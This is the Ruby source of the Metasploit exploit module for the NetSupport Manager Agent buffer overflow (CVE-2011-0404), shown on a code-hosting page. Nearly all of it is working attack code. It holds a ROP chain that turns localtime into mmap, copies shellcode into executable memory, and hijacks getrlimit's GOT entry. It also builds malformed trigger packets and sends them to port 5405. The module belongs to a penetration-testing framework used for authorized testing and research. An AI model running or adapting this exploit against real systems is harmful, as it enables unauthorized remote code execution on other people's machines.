Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/netsupport_manager_agent.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'NetSupport Manager Agent Remote Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in NetSupport Manager Agent. It15uses a similar ROP to the proftpd_iac exploit in order to avoid non executable stack.16},17'Author' =>18[19'Luca Carettoni (@_ikki)', # original discovery / exploit20'Evan', # ported from exploit-db exploit21'jduck' # original proftpd_iac ROP, minor cleanups22],23'Arch' => ARCH_X86,24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2011-0404' ],28[ 'OSVDB', '70408' ],29[ 'BID', '45728' ],30[ 'URL', 'https://seclists.org/fulldisclosure/2011/Jan/90' ],31[ 'EDB', '15937' ]32],33'Privileged' => true,34'Platform' => 'linux',35'Payload' =>36{37'Space' => 0x975,38'BadChars' => "",39'DisableNops' => true,40},41'Targets' =>42[43[ 'linux',44{45'Ret' => 0x0805e50c, # pop eax ; pop ebx ; pop ebp ;;46'Pad' => 975,47'RopStack' =>48[49### mmap isn't used in the binary so we need to resolve it in libc500x00041160, # mmap64 - localtime510xa9ae0e6c, # 0x8092b30 - 0x5e5b1cc4, localtime will become mprotect520xcccccccc,530x08084662, # add DWORD PTR [ebx+0x5e5b1cc4],eax; pop edi; pop ebp ;;540xcccccccc,550xcccccccc,560x080541e4, # localtime@plt (now mmap64)570x080617e3, # add esp 0x10 ; pop ebx ; pop esi ; pop ebp ;;580, 0x20000, 0x7, 0x22, 0xffffffff, 0, # mmap64 arguments590x0, # unused600x08066332, # pop edx; pop ebx; pop ebp ;;61"\x89\x1c\xa8\xc3".unpack('V').first, # mov [eax+ebp*4], ebx620xcccccccc,630xcccccccc,640x080555c4, # mov [eax] edx ; pop ebp ;;650xcccccccc,66#0x0807385a, # push eax ; adc al 0x5d ;;6768### this is the stub used to copy shellcode from the stack to69### the newly mapped executable region70#\x8D\xB4\x24\x7D\xFB\xFF # lea esi,[dword esp-0x483]71#\x8D\x78\x12 # lea edi,[eax+0x12]72#\x6A\x7F # push byte +0x7f73#\x59 # pop ecx74#\xF3\xA5 # rep movsd7576### there are no good jmp eax so overwrite getrlimits GOT entry770x0805591b, # pop ebx; pop ebp ;;780x08092d68 - 0x4, # 08092d68 0002f007 R_386_JUMP_SLOT 00000000 getrlimit790x1, # becomes ebp800x08084f38, # mov [ebx+0x4] eax ; pop ebx ; pop ebp ;;810xfb7c24b4, # become eb820x01,830x08054ac4, # <getrlimit@plt>840x0805591b, # pop ebx; pop ebp ;;85#0xffff8d78, # become ebx860x788dffff,870x2,880x08054ac4, # <getrlimit@plt>890x0805591b, # pop ebx; pop ebp ;;900x597f6a12,910x3,920x08054ac4, # <getrlimit@plt>930x0805591b, # pop ebx; pop ebp ;;940x9090a5f2,950x4,960x08054ac4, # <getrlimit@plt>970x0805591b, # pop ebx; pop ebp ;;980x8d909090,990x0,1000x08054ac4, # <getrlimit@plt>1010xcccccccc,1020x01010101,103]104}105]106],107'DisclosureDate' => '2011-01-08',108'DefaultTarget' => 0))109110register_options(111[112Opt::RPORT(5405),113])114end115116def exploit117connect118119#pop_eax_ebx ;120#0x8084662 # add DWORD PTR [ebx+0x5e5b1cc4],eax ;;121triggerA = "\x15\x00\x5a\x00" + "\x41" * 1024 + "\x00\x00\x00" +122"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"123124triggerB = "\x25\x00\x51\x00\x81\x41\x41\x41\x41\x41\x41\x00" +125"\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +126"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +127"\x00\x00\x00"128129triggerC = "\x37\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x58\xb4" +130"\x92\xff\x00\x00\x69\x6b\x6b\x69\x00\x57\x4f\x52" +131"\x4b\x47\x52\x4f\x55\x50\x00\x3c\x3e" + #pleasure trail132#"\xcc" +133"\x90" +134payload.encoded +135"\xcc" * (target['Pad'] - payload.encoded.length) +136[target.ret].pack('V')137138new = ''139if target['RopStack']140new << target['RopStack'].map { |e|141if e == 0xcccccccc142rand_text(4).unpack('V').first143else144e145end146}.pack('V*')147end148149triggerC << new150triggerC << "\x00" * 4151triggerC << "\x00\x00\x31\x32\x2e\x36\x32\x2e\x31\x2e\x34\x32"152triggerC << "\x30\x00\x31\x30\x00\x00"153154triggerD = "\x06\x00\x07\x00\x20\x00\x00\x00\x0e\x00\x32\x00" +155"\x01\x10\x18\x00\x00\x01\x9f\x0d\x00\x00\xe0\x07" +156"\x06\x00\x07\x00\x00\x00\x00\x00\x02\x00\x4e\x00" +157"\x02\x00\xac\x00\x04\x00\x7f\x00\x00\x00"158159print_status("Sending A")160sock.put(triggerA)161select(nil, nil, nil, 1)162163print_status("Sending B")164sock.put(triggerB)165select(nil, nil, nil, 1)166167print_status("Sending C")168sock.put(triggerC)169select(nil, nil, nil, 1)170171print_status("Sending D")172sock.put(triggerD)173select(nil, nil, nil, 1)174175disconnect176end177end178179180